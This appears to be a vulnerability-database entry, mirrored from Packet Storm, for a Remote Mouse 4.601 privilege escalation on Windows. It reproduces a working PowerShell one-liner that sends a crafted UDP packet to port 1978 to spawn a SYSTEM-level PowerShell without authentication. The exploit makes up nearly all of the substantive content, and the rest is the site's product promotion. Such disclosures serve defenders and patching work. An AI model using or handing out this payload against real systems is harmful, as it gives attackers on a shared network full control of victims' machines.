Lucene search
K

📄 Remote Mouse 4.601 Privilege Escalation

🗓️ 14 Jul 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 402 Views

Remote Mouse 4.601 on Windows allows SYSTEM PowerShell via network port 1978 without authentication.

Code
# Exploit Title: Remote Mouse 4.601 - Local Privilege Escalation
    # Date: 14/07/2025
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://www.remotemouse.net
    # Software Link: https://www.remotemouse.net/downloads
    # Version: 4.601 (Windows)
    # Tested on: Windows 10 / Windows 11
    # CVE: Pending
    
    '''
    Description:
    
    Remote Mouse 4.601 for Windows listens on UDP port 1978 and allows
    privilege escalation. an attacker on the same network can spawn a
    SYSTEM-level `powershell.exe`, resulting in full privilege escalation
    without authentication or user interaction.
    
    '''
    
    powershell -command "$ip='127.0.0.1';$p='web'+'opnpowershell'.Length.ToString('000')+'opnpowershell';$b=[Text.Encoding]::ASCII.GetBytes($p);(New -Object Net.Sockets.UdpClient).Send($b,$b.Length,(New-Object Net.IPEndPoint([Net.IPAddress]::Parse($ip),1978)));Write-Host '[>] SYSTEM powershell spawned' -f Green;Start-Sleep 2"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation